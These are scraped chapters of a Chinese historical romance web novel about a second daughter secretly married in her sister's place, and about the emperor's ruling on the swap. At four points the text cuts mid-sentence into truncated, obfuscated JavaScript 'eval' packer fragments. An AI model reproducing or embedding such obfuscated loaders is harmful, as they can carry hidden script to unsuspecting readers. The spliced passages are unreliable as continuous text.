然而他一直不表态,她的心里难免七上八下,想了想,她以退为进道:“若世子难以接受,要将我赶出镇国公府,我也不会有怨言。就是到陛下那里,说我欺君,我也甘愿领受。” 她说的这种是最差的结果,但她知道这多半是不会发生的——镇国公府固然势大,可陈家也不是什么小门小户,只要陛下不想就此除去陈家,就算对此事有所不满,也不会轻易以“欺君”治罪。 何况,虽说她不像陈灵瑛那般美名在外,但如果只从身份上来说,她与陈灵瑛并没有太大的区别。而陈灵瑛在李济昏迷之时悔婚,以镇国公府的骄傲,如今就算陈灵瑛愿意,他们也不可能接受了。 所以,如果镇国公府不想闹得太过,多半会半推半就地吃下这个哑巴亏。 只不过,骤然知道换了人,无论是李济还是镇国公府的其他人,想来是要发作一番的。 她微微仰着脸,圆中见长的眼睛睁大了,一眨不眨地望着李济,尽量让自己看起来无辜而诚恳。 李济细细想过,他是否应该借着陈家换人的由头退亲。 以陈家的门第,镇国公府要退亲,并不是易事。但若他坚决要退,想来陛下也不好不答应。 只是,退了这一个,未必没有下一个。 与其要一个不知深浅的,倒不如留下这一个,至少,这陈家的次女虽然有诸多小毛病,却也称得上心无城府,这样的女子,更容易把控。 既然决定留下她,她是排第几的姑娘,李济根本不在意,甚至她是嫡是庶,他也觉得无关紧要。 只不过,他不能太好说话。 他转过头,两口将饼吞了,微微整理了一番表情,自觉面如寒冰,这才转头看向陈灵珠。 一直看到他觉得陈灵珠面露不安,才冷冷开口问:“你是被迫的?” “是!我是被迫的!”陈灵珠用力点头,用以佐证自己的无辜,“我爹拿我奶娘的命威胁我。” 一般贵女出嫁,家中的主母都会安排一个有些阅历且信靠得住的仆妇陪嫁,通常是新娘的奶娘或者是主母身边的老人。据他所知,那个叫姜嬷嬷的仆妇确是她三日回门之时才从陈府接过来的,而除此之外,她带来的人中,并没有那样一个角色。 她应当没有说谎。 “那就是你了。” 陈灵珠面露迷茫,“啊?” “你就是镇国公府世子夫人。” 事情转变得太快,陈灵珠一时还反应不过来,她没听错罢?她还以为他会先怒斥陈家欺君犯上,再骂她胆大包天,然后作势要将人换回来,吓唬她一番呢。 这就完了? “镇国公府不是你想进就进,想出就出的,你既然过了镇国公府的门,想拍拍屁股走人,没那么容易!” “怎么,你不愿意?”他见陈灵珠半天没反应,带着审视问她。 “不是不是!”陈灵珠摆手,又点头道:“我愿意!可是世子……你不介意吗?” 她到底不是陈灵瑛,不是那个他原本要娶的人。 从很多人的眼光来看,她跟陈灵瑛差的可不是一星半点。 “自然介意。” 他又故意停顿了一下,看着她面色变了变,才继续道:”但这笔账,不应跟你算。” 陈灵珠简直要感动得热泪盈眶,这李济也太明事理了!太会说话了!她这是什么运气,不用守寡还不算,丈夫还这般明理。前几日,她可能对他有所误会,他明明就是个极好的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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太夫人白日需歇一觉,此时还未醒,绿儿想去叫醒太夫人,陈灵珠制止了她,自己到梢间等着。 绿儿给她奉上一杯茶,“少夫人,喝杯茶罢。” 她知道太夫人看重这个孙媳妇,不敢怠慢。 绿儿是太夫人身边的大丫鬟,陈灵珠也不敢托大,道了谢,手握茶杯,想着一会儿要如何说。 太夫人到目前为止,对她都很好,甚至积极撮合她与李济,但问题是,太夫人一直以为她是陈灵瑛。剥去陈灵瑛这个外壳,太夫人会对她如何,她心里一点儿底也没有。 高门大户如镇国公府,大概想要的宗妇都是如陈灵瑛这样的,出身高贵,看起来端庄大方,进退得宜。 而她,说起来也是陈家嫡出的女儿,但论家中地位,却连陈灵瑛的一个脚趾头也比不上,更别提那些说她那些如何蠢笨,如何性子差的传言了。 虽然她也是被迫的,但在外人眼里,她与陈府本是一体,陈府欺骗了他们,那就等于她也欺骗了他们。气势上天然就已经矮了一截。 其他人她无所谓,将刺耳的言语只过耳,不过心,一向就是她擅长的。 但老夫人那里,她不行。 自她进了镇国公府,太夫人是为数不多对她慈祥的人,若是太夫人就此变了脸,她会难过。 18. 第 18 章 陈灵珠悄悄叹了口气,眼下除了直言以告,似乎也没有更好的办法。 没多久,内间有声音响起,太夫人醒了。 这些日子,太夫人没让陈灵珠来请安,说她照顾李济要紧,知道她来了,还有些惊讶,问绿儿道:“可是济儿那边出了什么事?” 绿儿摇头道:“看少夫人的样子,倒不像。不过她似是有什么话要说。” 太夫人忙让绿儿将人请进来。 陈灵珠进了屋子,绿儿便让其他人退了出去,自己守在门外。 “祖母。”陈灵珠行了一礼,太夫人让她坐下,她却没有坐。 “你过来可是有事?”太夫人和蔼地看着她。 “祖母,孙媳……晚辈确有一事,要跟太夫人禀告。” 她说着,跪下端端正正地给太夫人行了大礼,“请太夫人先恕我欺瞒之罪。” 太夫人一惊,上前扶住她道:“你这孩子这是做什么?有事好好说来,祖母给你做主。” 陈灵珠没有起身:“太夫人,晚辈不是您原本的孙媳妇。” 太夫人有些讶异:“那你是谁?” 莫不是那山精妖怪?看着也不像啊。 陈灵珠道:“原来与世子订亲的是陈家大姑娘,我是二姑娘。” 太夫人闻言,笑容微滞。这陈家,竟然这样办事儿,连知会镇国公府一声也没有,就将人换了。 好在这事儿不算太大,不是不能解决。 她重新露出微笑:“无妨,既是你进的门,你就是我镇国公府名正言顺的媳妇。” 陈灵珠原本最在意的就是太夫人的态度,此时见太夫人接受得如此之快,惊喜之余,胸腔里充满了感动,不由鼻腔发酸,眼眶发热,哽咽道:“祖母……” 太夫人扶起她:“快起来。你这傻孩子,无论你是谁,如今,你都是济儿的妻子,是我们李家的媳妇。” “再说了,也不见得陈大姑娘就一定比你这个二姑娘好。” 由嫁过来的是二姑娘而不是大姑娘便可见一斑。当时那个情形下,她相信以陈府的家世,他们家的姑娘断不至于争着抢着要嫁过来。不愿嫁过来情有可原,但对嫁过来的人,无论她是否自愿,都应承她的情。毕竟,是她陪孙儿度过了生死关头。 “祖母信佛,佛家有“因果”一说,济儿在你嫁过来之后才醒过来,说明是你嫁过来这个‘因’,才导致了济儿醒过来这个‘果’。若是陈家大姑娘嫁过来,可就不一定是现在这个结果了。” 陈灵珠觉得此时提一提自己的名声还是很有必要的,免得以后太夫人知道了失望,“祖母,我……我有些不太好听的名声。” 太夫人微笑道:“名声是最不值得相信的东西。” 从前她挑儿媳妇的时候,她的二儿媳妇王氏名声最好,可结果呢。 “祖母相信自己的眼光,你就是最适合我们镇国公府的媳妇。祖母也相信缘分,若你与镇国公府无缘,与济儿无缘,怎么偏偏是你嫁进来呢?” 她看着陈灵珠,有些怜悯她,这孩子,不用说当时一定是被迫的了,好在孙儿醒了过来,不然还真是可惜了这么个俏生生的小姑娘。 “你婆母那里……”太夫人想了想道:“也罢,你婆母那里,我亲自去跟她说罢。” 陈灵珠忙道:“世子说,他会跟母亲说的。” 太夫人想了想,这样也好,孙儿的话,儿媳妇也是听得入耳的。 换人嫁进来这件事情,虽然她觉得不是什么大问题,可大儿媳心里本就因为陈进有些疙瘩,若知道了这件事,也不知会如何反应。 孙儿若想留人,就自己去摆平他母亲罢。 …… 听说李济找她,镇国公夫人很快就过来了。 “济儿,你找娘何事?”镇国公夫人坐了下来,微笑着问李济。 “孩儿有一事要告诉娘。” 国公夫人问何事。 李济没有过多铺垫,直接道:“如今在府里的这个陈家女儿,不是陛下赐婚的陈家大姑娘,而是陈家的二姑娘。” 镇国公夫人闻言先是一愣,然后勃然大怒:“什么?他们陈家也欺人太甚!这是不把我镇国公府放在眼里!济儿,娘这就进宫,告他陈进个欺君之罪!” 李济拦住他母亲道:“娘稍安勿躁,孩儿以为,嫁过来的是谁并不重要。” 镇国公夫人道:“怎么不重要?已经定好的人,凭什么他们陈家不知会一声,说换就换?还有,你知不知道那陈家二姑娘是什么名声?都说她是个草包,镇日里只知道吃喝!你是谁?你是我们镇国公府的世子,堂堂辅国大将军!你如何能娶这样一个姑娘!就算你……再怎么,娘也不能答应!” 镇国公夫人气得胸口起伏不定,脸色变了又变。 李济道:“娘,以目前的情形来看,陈家大姑娘不一定比得上这位二姑娘。” 镇国公夫人道:“这是怎么说?都说陈家大姑娘端庄贤惠,大方得体,再怎么也比这位二姑娘强得多!” 李济道:“那依娘看,如果传闻属实,为何嫁过来的会是陈家二姑娘,而不是贤惠的陈家大姑娘?” 镇国公夫人一滞,李济当时的情形,不仅镇国公府清楚,陈家也一清二楚。若那大姑娘果真贤惠,无论如何不会让妹妹替自己嫁过来。 如此想来,传闻不可信,那陈家大姑娘不是什么好的,可是大姑娘不好,不代表二姑娘就好,名声好的大姑娘尚且如此,何况名声差的那个。 镇国公夫人有些憋闷,她的儿子是最优秀的儿郎,在她眼里,不说整个京城,就是全天下也没有几个女子能配得上他,结果娶了这么个妻子。 “你的意思,咱们认下了这个姑娘?” 李济点头:“认了。” “不是她,也会是别人。于镇国公府,并无区别。” 他将自己的理由告诉他的母亲,镇国公夫人念头转了几转,慢慢冷静下来。 无论她满不满意,生米都已成了熟饭——虽然二人还没圆房,但陈家二姑娘在镇国公府已好几日了,在外人看来,圆房与否已经没有区别。镇国公府固然可以扬言将府里的这女子休了去找陈府算账,然而究竟能不能这样做,还要看陛下的意思。 若陛下允了,镇国公府倒是出了这口恶气,若不允,大闹一场,镇国公府也得不到什么实际的好处,反而会让别人看了笑话。 以她判断,府里这姑娘多半是退不了的,毕竟她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈灵珠上了后面的一辆马车。 她理解镇国公夫人的心情,换做是她,也要一段时间才能接受,镇国公夫人此时对她这个态度,她也没什么可抱怨的。 陈家欺骗在先,怪不了人家。便是她,于镇国公府而言,也不是完全无辜。 马车辘辘前行,陈灵珠思绪也随之飘远。 不知宫里的陛下见了她,会如何反应。 父亲劝服,或者说逼迫她嫁给李济之时曾说,陛下一定不会要了她的命,就算要怪罪,罪责也在他。 她要承担的风险只是李济死了或者镇国公府发现了,将她换回去而已。 陛下那里,他会一力承担。 别的事,她对她的父亲没有多少信任,但关于陛下的责罚这一件事,她却不太怀疑他的话。 作为宦海沉浮多年的人和皇帝的亲舅父,她的父亲对陛下还是很了解的。 他应该是有把握的,因为这件事牵扯的不止是她,还有整个陈家。 在她父亲的眼里,她或许死不足惜,但没有足够的把握,他不会让陈灵瑛和整个陈家去冒险。 但不会要她的命,却不代表没有惩罚,也不代表陛下不会发怒。 想到要面对皇帝的雷霆震怒,陈灵珠有些头皮发麻。 没多久,马车停了下来,车夫在外道:“少夫人,到了。” 19. 第 19 章 陈灵珠深吸一口气,踩着马凳下了马车。 镇国公夫人也下来了,对她道:“你不必说话,一切都交给我。” 陈灵珠自己解释形同狡辩,镇国公夫人此言正中下怀,便应是,跟在国公夫人身后。 镇国公夫人的宫牌是可以随时进宫的,侍卫也认识镇国公夫人,见了她,连忙放行。 陈灵珠跟着国公夫人经过重重宫殿,终于停在了崇政殿前。 守在殿外的皇帝贴身内侍王德忠看见镇国公夫人,连忙迎了上来。 “夫人今日怎地有空进宫?”王德忠笑着一边叉手行礼,一边问道。 镇国公夫人道:“有一事,我需得禀报陛下,请王内官代为通传。” 王德忠应是,笑着看了眼低着头的陈灵珠,笑容顿时凝滞。 这位不是……陈二姑娘吗! 他微微瞪大了眼,瞬间明白了镇国公夫人的“一事”是何事。 他急忙转身,快步往殿内而去。 “陛下,镇国公夫人带着……带着新过门的世子夫人候在殿外。” 皇帝以为是例行谢恩,随意道:“让她们进来罢。” 王德忠答应一声,把人请了进去。 “叩见陛下。”镇国公夫人行礼,陈灵珠也低着头跟着行礼。 皇帝笑着抬了抬手道:“舅母免礼,大表——” 见是陈灵珠,他的脸色顿时一变:“二表妹?!” 陈灵珠立即跪下,低头不语。 镇国公夫人道:“陛下,这便是臣妇要禀报之事。” 皇帝脸色铁青,“这到底是怎么回事?” 镇国公夫人道:“陛下,臣妇片刻前才知,原来几日前进镇国公府门的陈家姑娘并非陛下赐婚的陈家长女,而是次女。臣妇不敢隐瞒陛下,立即带着她进宫面圣。” 皇帝怒不可遏,吩咐王德忠道:“让陈进滚进宫来!” 陈进是陛下的亲舅父,平日里陛下都是称他为“舅父”、“陈尚书”,从未有过直呼其名的时候,如今明显是气狠了。 王德忠不敢耽搁,“诶诶”应声,快步出去叫了个小内侍飞也似地跑去传召陈进了。 “舅母,待朕问个清楚,必会给济之和镇国公府一个公道。” 皇帝称呼镇国公夫人为“舅母”,但其实镇国公并非他的舅父。 他这样亲切称呼,只因庄德皇后——镇国公李跃之姊是他的嫡母,所以他唤太夫人为“外祖母”,镇国公、镇国公夫人为“舅父”、“舅母”,以示亲热恩宠。 镇国公夫人谢过皇帝,“全凭陛下做主,臣妇感激不尽。” 没多久,陈进小跑着气喘吁吁地进了崇政殿。 他在大庆殿之南的官署当值,皇帝突然急召,内侍火急火燎地催他,他只好跟着内侍跑了过来。 按说,他偷偷将女儿换了,早就应该主动进宫跟皇帝请罪,但他没有。 陈进是有自己的打算的:抗旨是已经做了,早一日请罪晚一日请罪并不会改变事情的本质。 可是过早让陛下知道,陈家很有可能,就要填进去两个女儿。而日子拖久了,木已成舟,事情就好办多了。 陈灵珠在镇国公府多待一日,镇国公府换回人的可能就少一点。 如今陈灵珠在镇国公府已是第八日,说什么都来不及了。 只是他刚踏进崇政殿的门,一只镇纸就飞了过来,砸到他的额头上。 皇帝这一下砸得极狠,大概既有做给镇国公夫人看的意思,也是真的火冒三丈。 陈进的额头当即肿起一个大包,鲜血直流。 陈进顾不上去摸,上前跪下,额头触地。 “陛下,请陛下息怒!” “陈进!你好大的胆子!” 皇帝怒火万丈,指着一旁跪着的陈灵珠道:“朕问你,这是怎么回事?!” 陈进抬起头看了陈灵珠一眼,然后道:“臣不知陛下何意,还请陛下明示。” 皇帝气极反笑:“到了此时此刻,你竟还敢糊弄朕!朕当初赐婚说的明明白白,让陈家长女跟镇国公府世子成婚,你竟敢违逆圣旨!” 皇帝越说越气,又要上前踹一脚,“谁给你的胆子!” “陛下!”陈进再次以额头触地,“微臣不敢违逆圣意,让微臣的这个女儿嫁与镇国公府世子李济,正是遵照圣意而行。” 皇帝冷笑道:“这么说,还是朕让你做的?朕竟不知,朕何时下了这样一道旨意!” 陈进道:“陛下,圣旨上说,让微臣将微臣与妻杜氏之长女嫁去镇国公府,陈灵珠便是微臣与杜氏之长女。而陈灵瑛,是微臣与亡妻杨氏之长女。” 皇帝一愣,镇国公夫人也一愣,只有陈灵珠早就清楚,因为这就是陈进劝服她的理由。那圣旨出了个小差错,将陈灵瑛称为“陈进与妻杜氏之长女”,但陈灵瑛并非杜氏的长女,陈灵珠才是,所以严格来说,陈进不过是遵照旨意罢了。 陈进道:“陛下将存底取来一看便知。” 虽然双方早已交换了庚帖,可若是陈进咬死这一点,谁也不能说他就是错的。 皇帝一愣之后,怒气更盛,冷笑道:”好!好得很,你倒会咬文嚼字!只是你想换人,也该问过朕答应不答应!” 他转向镇国公夫人:“舅母放心,朕绝不偏袒任何人。朕赐婚的对象,本就是济之和陈进的长女陈灵瑛,既然陈府弄错了,让次女陈灵珠回家,长女陈灵瑛去镇国公府,大家各归其位就是了。” 陈进听了皇帝的话,顿时面如土色。 他的瑛儿危矣。 “陛下,”镇国公夫人这时道:“本来有陛下赐婚,双方又交换了庚帖,就应该以庚帖上的人为准。即便是民间,也没有上花轿时临时换人的道理。臣妇得知此事时,大大地吃了一惊,万万没想到陈尚书竟敢罔顾圣旨,把钦定的陈家大姑娘换成了陈家二姑娘。臣妇吃惊之余,也为陈尚书的胆大妄为愤怒。” 陈进:“……” 过去他数次弹劾镇国公父子,如今总算让他们扳回一城了。 “然而——”,国公夫人话锋一转,“陈尚书固然有错,可眼前的这个姑娘却是无辜的。她嫁进来已有七八日,一直尽心尽力地照顾犬子。凭这一点,镇国公府愿意领她的情,接受她为犬子李济之妻。” 陈进听到这里,暗暗吐出一口气。 只要镇国公府接受,他被他们骂几句,讽刺几句不算什么。 但陈灵珠偷偷看到,皇帝的脸色并没有因为镇国公夫人认下她而变好,反而更加阴沉得吓人。 他盯着镇国公夫人,仿佛想吃了镇国公夫人一般,一动没动,脸色比刚刚见到她还差。 殿内落针可闻。 半日,皇帝挤出一句话:“舅母确定,不换人?” 镇国公夫人道确定,“虽是阴差阳错,但既然是陈二姑娘进了门,镇国公府愿意接受她。其他一应事宜,请陛下圣裁。” 其他一应事宜,说的是陈进,他无缘无故换了人,总该受点惩罚。 皇帝脸色沉沉,藏在袖下的手紧紧攥成拳头,良久才道:“既然镇国公府也同意,那便这样罢。陈灵珠——” 陈灵珠连忙答应一声,皇帝似对她也气极,冷声道:“从此尔便为李家妇,当孝敬勤勉,为济之分忧。” 陈灵珠应是,恭恭敬敬地行了大礼,谢过皇帝大恩。 此事算是尘埃落定,皇帝道:“舅母与二表妹先回去罢,陈进先免去尚书一职,其他罪名,之后再议。” 镇国公夫人谢了恩后带着陈灵珠离去,这个结果,虽说她不算满意,但多少出了一口气。 两人走后,殿内一时寂静无声。 好一会,皇帝冷笑道:“陈进,你可真是朕的好舅父。” 陈进磕头,道陛下息怒。虽然圣旨有谬误,可他们都心知肚明,皇帝要他嫁的,就是陈灵瑛。 只是陈进并不觉得错在自己。 他没有遵旨是有错,但先做错的是陛下。 陛下明知道他有多疼爱陈灵瑛这个女儿,竟不顾他的意愿,将她赐婚给李济! 若事先问他,他是万万不会同意的,也许正因为如此,陛下连问一句也无,直接就下圣旨赐了婚,让他连反应的时间都没有。 作为臣子,他有错,但陛下更是大错特错! 何况,既然两个都是他的女儿,陈灵瑛可以,陈灵珠也一样可以。 “你说,你打算怎么收场?” 陈进:“微臣辜负了陛下的期望,但凭陛下责罚。” 话虽这么说,但他们心里都知道,皇帝也不能怎么罚他。明面上,他不过遵旨而行;实际上,他还受了委屈呢。 “你是不是以为朕不敢杀你?” “微臣不敢!” “陈进冒犯天威,免去尚书一职,迁奉直大夫,罚俸一年。” 陈进道:“谢陛下隆恩!” “滚出去罢!” 陈进爬起,往后退了出去。 出了崇政殿,他才抬手碰了碰额头的伤口,痛得“嘶”了一声。 “这小子!”他低声骂道。 俸禄他不在乎,这尚书的位子,暂时退出也无妨,过一段时间,陛下消了气,需要他办事时,应当还会再让他坐上去的。 其实替嫁在民间再正常不过了,根本不算事儿,只不过这桩婚事是皇帝赐婚,所以稍有不同罢了。 他作为父亲,难道嫁哪个女儿还不能说了算? 何必如此! 好在,无论如何,此事算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杜氏这话说得好笑,让陈灵珠替嫁,她不觉得委屈了陈灵珠,陈灵瑛在家窝了几日,她却说“受委屈了”。然而这话在场的三人都不觉得有任何问题,谁也不觉得对不起陈灵珠。 危机虽然解除,但此事被外人知晓,难免会有些风言风语,陈进叮嘱陈灵瑛道:“瑶儿,若在外头听到什么闲言碎语,你不必往心里去。” 陈灵瑛笑道;“知道了爹,女儿有分寸的。” 见女儿心中有数,陈进满意颔首,“李济并非良人,不嫁他也不必可惜。瑶儿,你放心,爹娘会为你另找一个如意郎君。” 陈灵瑛含羞撒娇道:“女儿不想嫁人,只想陪在爹娘身边。” 陈夫人笑道:“傻孩子,姑娘家哪有不嫁人的呢。京城才貌双全的儿郎不少,爹娘会帮你办得妥妥当当,绝不让你受委屈。” 陈灵瑛摇着陈夫人的手臂撒娇了几句,这才兴高采烈地出门去了。 望着陈灵瑛远去的背影,陈进对陈夫人道:“你是个难得的好母亲,我知道你心里也不好受,珠儿那里……” 陈夫人忙道:“老爷折煞妾身了,瑶儿从小没了亲娘,妾身偏疼她些也是应该的。再说给珠儿的嫁妆又厚,比原本给瑶儿的还多,也不算委屈了她。如今李济又醒了过来,细论起来,珠儿还占了便宜呢,还有什么可说的。” 她一如既往地深明大义,陈进满意地颔首,当初他拒绝了杨家的庶女,自己挑选的这个继夫人,虽然出身不显,但相貌、才情俱佳,最重要的,是识大体,心地良善,不但没有苛待长女,还待长女比她亲生的次女还亲。 他没有看错人。 他不禁微笑道:“你能这么想,我很欣慰。” 陈夫人笑道:“这么多年,老爷还不了解我么?妾身疼珠儿,但更疼瑶儿,妾身不会让瑶儿受委屈的。瑶儿没了的那些嫁妆,妾身会慢慢帮她置办起来,老爷尽管放心。” 陈进更满意了,轻轻将陈夫人搂住道:“得妻如此,夫复何求!” 陈夫人偎在丈夫怀里,心里悠悠叹了口气。 她也不是不疼陈灵珠,只是同样是女儿,又差不了几岁的情况下,陈灵珠注定比不了陈灵瑛。所以这些年来,陈灵珠的衣食住行都比陈灵瑛差,姐妹俩有争执时她都偏帮陈灵瑛,陈灵瑛和杨家人捉弄陈灵珠时,她选择睁一只眼闭一只眼。 甚至姐妹俩的亲事,她也不会让陈灵珠越过陈灵瑛。如果不是因为陛下突如而来的赐婚,陈灵瑛会顺顺当当嫁给别的高门大户做当家夫人,而陈灵珠,则会嫁给落魄门第的沈信。 她这么做,有人夸她厚道,有人说她这么做是为了名声,丈夫呢,则满心以为她人品贵重,爱屋及乌,只有她自己知道,她这么做,另有原因。 而这个原因,倘若没有意外,这一辈子,她都不会说出去的。 20. 第 20 章 陈灵珠跟着镇国公夫人出了宫,这才大大松了一口气。 她不担心她的父亲,陛下不会杀了他,大不了是降级罚俸。 何况,她对父母的孺慕之情,在他们拿她的奶娘逼她的时候,就已经所剩无几了。 陈灵珠心情畅快,若不是地方不对,她简直想哼哼小曲儿。 到了镇国公府,国公夫人走在前面,往梅林上筑而去。 陈灵珠知道她跟李济有话要说,便自己先行回了西院。 休息了一会儿,待国公夫人离开,她才来到东院。 李济自己在下棋,见她进来,看了她一眼,又继续摆弄棋子。 她坐到他的面前道:“世子,谢谢你们不跟我计较此事,我很感激。” 她说的是真心话,他在此事上帮了她大忙,此时,她确实心存感激。 李济手执棋子看着她没说话,过了一会儿忽然道:“我李济的妻也不是那么容易做的,若你后悔了,现在还来得及。” 高门大户的媳妇当然是不好当的,陈灵珠一直都知道,所以她本来没想过要嫁镇国公府这样的高门,但不嫁都已经嫁了,又去陛下面前过了明路,如今哪里还容她选择做或不做? 她狐疑地看李济一眼,问:“世子何出此言?我为何要后悔?” 李济又看了她一会儿,也没解释,道:“没什么,既不后悔,那便做好你的本分。” 陈灵珠道:“那是自然。” 她想起一件事,迟疑了一下,问他:“世子,你的伤是何人所为,查出来了吗?” 李济受伤,下手之人是谁,众说纷纭。 陈灵珠对内情所知不多,但也有自己的猜测,甚至怀疑过她的父亲陈进。 不过,以镇国公府愿意留下她来看,她父亲的嫌疑基本可以排除。 “不知,还没查出来。” “那世子觉得最有可能是谁?” “没有证据,不宜妄加猜疑。” 陈灵珠认为,这件事除了胡人,便是武安侯的嫌疑最大。 武安侯与她的父亲虽然同样与镇国公父子不和,但二人的行事作风大为不同。以武安侯的为人,做出刺杀一事,不足为奇。 但她能想到的,李济定也能想到,她也不必班门弄斧。 见李济脸色淡淡的,似乎不想谈论此事,她便也不再追问。 “二哥!” 忽然李照芙的声音从庭院传来,伴随着急促的脚步声,很快,她出现在二人面前。 “二哥!”李照芙急促喘息着,看了一眼陈灵珠,眼中满是鄙夷,指着陈灵珠道:“二哥,她是个假的!” 见她咋咋呼呼,又用手指着陈灵珠,李济皱了皱眉:“芙儿,你的规矩学到哪儿去了?” “二哥!”李照芙道:“她不是与你订亲的陈家大姑娘!这就是个假货!使了手段才嫁进来的!二哥可千万别被这女子骗了!” 因为李济受伤,李照芙心情也不好,已经多日没有出门了。 好不容易今日出门到一个茶楼听戏,戏还未开场,却先听到了一个与自己二哥有关的戏剧。 “哎,你听说了吗?” 李照芙刚到茶楼,便听到隔着屏风的邻座一人问道。 “你说的,可是那陈府和镇国公府的事?” “你也听说了?听说嫁入镇国公府的不是陈家大姑娘,而是陈家二姑娘!” 忽然听到与自己家有关的闲话,李照芙震惊了。这陈家也太大胆了,敢这样狸猫换太子? 她忙竖起耳朵,听邻座说话。 “都是这么说,究竟是怎么回事?” “听说圣旨上赐婚的对象本是陈家大姑娘,但二姑娘妒忌大姑娘嫁得好,使了手段,顶替大姑娘上了花轿。” “这……不能罢,陛下赐婚,谁敢乱来?而且还有礼部的大人在场呢,这怎么能瞒天过海?” “别人不敢,但陈家不同,他们家可是陛下的舅家,陛下是能治舅父的罪,还是表妹的罪?何况,哪个表妹对他来说不一样?至于礼部的官员,盖头一盖,谁知道哪个是大姑娘哪个是二姑娘?还不是陈家人说了算?” “那倒也是。陈二姑娘可能就是算准了这一点。只可惜了李世子。” “谁说不是呢。镇国公世子哎!放眼整个京城,去哪儿找这样的儿郎?满京城的姑娘,哪个不想嫁他?你知道那陈家二姑娘是什么名声吗?” “这我倒是听说过,听说那陈二姑娘又懒又馋,还很笨,除了吃的,什么也不会。性子又差,整日搅风搅雨,闹得家里都不得安宁。” “你说,这样一个女子,嫁给了镇国公世子,岂不是苍天无眼!” “你说的是,陈家大姑娘与镇国公世子倒是一对佳偶,可惜了可惜了。” “唉,怎么偏偏是猪八戒吃到了人参果?” “诶,这你就不知了,猪八戒又懒又馋,但他胆子大呀。” “说的也是,可怜陈大姑娘……” 李照芙听到这里,哪里还坐得住,立刻起身就往镇国公府赶,要把这个消息告诉李济。 此时却见李济一脸淡定,她不由急道:“二哥,他们陈家居然敢骗我们!找个草包嫁进来!绝不能就这样算了!我们进宫告御状去!” 李济道:“此事我自有决断,你不必理会。” “二哥……”李照芙还想再说,看到哥哥根本不吃惊也不在意的样子,才猛然醒悟过来:“你早就知道了?” 李济没说话,但显然默认了,李照芙气得跺脚:“那你就这样算了?!” “你不必操心此事。” 二哥既这样说,那就是承认这个女子了,李照芙恨得没法儿,丢下一句“算我枉做小人!”就跑去跟太夫人告状了。 太夫人之前总是帮着陈灵珠,她不信祖母知道她是个假货还能偏帮她。 太夫人正用点心,见李照芙来了,笑道:“芙儿来了,今日的点心不错,来,试试这个。” 李照芙哪有心思用什么点心,她满腹愤怒和委屈,忙对太夫人道:“祖母,您知道吗?我们府里这个陈家女儿,她不是二哥原本要娶的那个陈大姑娘,而是陈二!” 太夫人笑道:“你也知道了?” 李照芙道:“他们胆敢这样戏弄我们镇国公府,祖母,我们是不是要去找陛下做主,把这个女子退回去?” 太夫人收了笑容道:“你这孩子说什么呢!什么退不退的,还能退去哪儿?这事儿,陈家做得不地道,但与你二嫂无关。芙儿,你这话,在祖母这里说说不打紧,在别处可不要胡说,万一传到你二嫂耳朵里,没的伤了姑嫂和气。” 还姑嫂和气呢,分明是仇人意气。李照芙急道:“祖母!您怎么总是帮着她!她是个假的!” 太夫人道:“什么真的假的,她也是陈家的女儿,这可是千真万确的。就算陈家做的不对,我们也是跟陈家算,你二嫂既已嫁来我们家,那就是我们镇国公府的人。” 她见李照芙气呼呼的,耐着性子劝她道:“芙儿,这不娶也娶了,既然你二哥都没意见,我们有什么不能接受的?依祖母看,你二嫂挺好的,你看她嫁进来,你二哥就醒了,身体也一日比一日好。祖母听说,你二嫂每日下厨精心准备各种有助于伤口愈合的东西给你二哥吃,光是这份心意,祖母觉得就很难得。你以后好好跟她相处,知道吗?” 李照芙不服气,低声嘟囔道:“她有什么好的,她抢了陈大姑娘的亲事,如今这样做,还不是收买人心。” 太夫人道:“你这孩子,别人不知道,你还不知道?你二哥当时都那样了,哪里还有人傻得要争着抢着嫁进来?芙儿,你也大了,要学会分辨是非才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不得已,她只好降低了要求,让儿子娶了一个家世略低的女子。 媳妇过了门,被她调.教地服服帖帖的,赵氏见了,不夸奖也就罢了,话里话外的意思,竟说她的媳妇被她压制太过,还说这样对媳妇身体不好。 她气得半死,如今终于有机会扳回一城,岂有放过之理? 她喋喋不休的,国公夫人只觉得头痛,“她好不好,也是陈府嫡出的女儿,是陛下的表妹,在陛下那儿也是过了明路的,几时到别人指指点点、说三道四?” 国公夫人瞥二夫人一眼:“别惹祸上身。” 二夫人:“……” 打发走了王氏,李照芙来了。 对待女儿,国公夫人就耐心多了。 “芙儿,”她柔声道:“这样的话以后不要再说了,陛下已经知道了此事,开了金口,以后她就是你二哥名正言顺的妻子,是你的二嫂。” “娘,你们怎么能……” 李照芙不理解,这么好的机会,怎么不趁机把这一个假冒的女子退回去呢。 可是好说歹说,她的母亲就是不松口,只说让她别管。 李照芙更烦闷了,跑出镇国公府,去了京城最繁华的永宁街,却越走越烦,对什么都提不起兴趣。 “李姑娘!”忽然有人在背后叫她。 她扭头一看,是杨家的女儿。 她本来不把这人看在眼里,平时也不太搭理她,何况如今这心情烦闷的时候。 淡淡点了个头,她扭头便要离开。 忽又想起,这人好像与陈灵珠是什么拐弯的亲戚? 李家与与陈家此前没有来往,陈灵珠又不在京城两三年,所以李照芙与陈灵珠在陈灵珠嫁入镇国公府前就没有怎么见过,更别说对彼此有多少了解了。 不过,想了解也不难,多找几个人问问就是了,眼前就有个极好的人选。 “杨姑娘,”她微笑着回应:“好巧。” 21. 第 21 章 陈灵珠因为妒忌使手段抢了陈灵瑛亲事,自己上了花轿的谣言,是杨绾柔传出去的。 